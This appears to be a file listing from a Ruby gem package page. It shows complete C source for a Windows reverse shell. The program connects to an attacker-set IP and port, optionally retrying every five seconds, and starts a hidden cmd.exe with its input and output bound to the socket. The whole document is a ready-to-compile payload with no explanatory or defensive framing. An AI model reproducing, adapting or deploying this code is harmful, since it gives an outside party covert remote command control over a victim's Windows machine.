Sha256: fe2c322d24ce5fa999559895e2a35372f0058f98522f26fa70cc67ec8381e560
Contents?: true
Size: 1.25 KB
Versions: 4
Compression:
Stored size: 1.25 KB
Contents
#include <winsock2.h> #include <windows.h> #include <io.h> #include <process.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #if !defined(CLIENT_IP) #error "must define CLIENT_IP" #endif #if !defined(CLIENT_PORT) #error "must define CLIENT_PORT" #endif int main(void) { WSADATA wsaData; if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) { write(2, "error: WSASturtup failed.\n", 27); return 1; } int port = CLIENT_PORT; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = inet_addr(CLIENT_IP); SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); #ifdef WAIT_FOR_CLIENT while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { Sleep(5000); } #else if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { write(2, "error: connect failed.\n", 24); return 1; } #endif STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES); sinfo.hStdInput = (HANDLE)sockt; sinfo.hStdOutput = (HANDLE)sockt; sinfo.hStdError = (HANDLE)sockt; PROCESS_INFORMATION pinfo; CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo); return 0; }
Version data entries
4 entries across 4 versions & 1 rubygems